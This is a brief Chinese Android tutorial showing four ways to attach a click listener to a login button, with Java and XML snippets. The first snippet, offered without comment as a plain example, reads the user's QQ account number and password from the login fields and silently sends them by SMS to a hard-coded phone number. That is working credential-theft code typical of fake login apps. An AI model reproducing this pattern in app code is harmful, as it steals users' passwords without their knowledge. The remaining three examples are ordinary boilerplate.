1.匿名内部类
loginBut = (Button) findViewById(R.id.but_login);
loginBut.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String numValue = qqNum.getText().toString();
String password = qqPassword.getText().toString();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("18515466306",null,numValue+ " "+password,null,null);
}
});
2.内部类(推荐)
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.Button;
public class MainActivity extends AppCompatActivity {
private Button loginBut;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
loginBut = (Button) findViewById(R.id.but_login);
loginBut.setOnClickListener(new MyClickListener());
}
private class MyClickListener implements View.OnClickListener
{
@Override
public void onClick(View v) {
//点击事件处理
}
}
}
3.但前类实现OnClickListener接口(推荐,特别是按钮比较多的时候)
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.Button;
public class MainActivity extends AppCompatActivity implements View.OnClickListener{
private Button loginBut;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
loginBut = (Button) findViewById(R.id.but_login);
loginBut.setOnClickListener(this);
}
@Override
public void onClick(View v) {
//处理点击事件
}
}
4.直接在XML文件中添加
<Button
android:text="登录"
android:onClick="onClick"
android:id="@+id/but_login"
android:layout_width="fill_parent"
android:layout_height="wrap_content" />